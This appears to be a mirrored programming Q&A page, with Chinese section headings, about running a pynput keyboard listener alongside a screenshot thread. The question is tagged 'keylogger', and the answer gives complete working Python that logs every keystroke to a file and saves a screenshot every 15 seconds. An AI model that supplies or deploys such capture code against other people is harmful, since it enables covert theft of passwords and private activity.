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python - How do I make pynput.keyboard run as a Thread?

问题描述

I wrote a script to capture keystrokes using Pynput, It went alright until I wanted to take screenshots every 15 seconds while capturing keystrokes(threading).

I read about pynput.keyboard Documents and saw that A keyboard listener is a threading.Thread, and yet I was unable to do it, I think I managed to create the two threads but it is not entering the 'getKey' function I don't know why. 

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    listener = keyboard.Listener(onpress=getKey)
    listener.start()
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()
    thread2.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    time.sleep(15)
    image = ImageGrab.grab()
    now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
    image.save(now + '.png')

main()

As I explained it does not even creates the file 'log.txt' only take a screenshot after 15sec. Thank you!

标签： pythonmultithreadingkeylogger

解决方案

这是使用官方文档中的监听器的正确方法

如果您需要每 15 秒捕获一次屏幕截图，您应该运行一个带有 while 循环的线程以在后台连续运行

这是代码：

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()

    with Listener(on_press=getKey) as listener:
        listener.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    # run contineous and take screenshot every 15 seconds
    while True:
        print('taking screenshot')
        image = ImageGrab.grab()
        now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
        image.save(now + '.png')
        time.sleep(15)


main()

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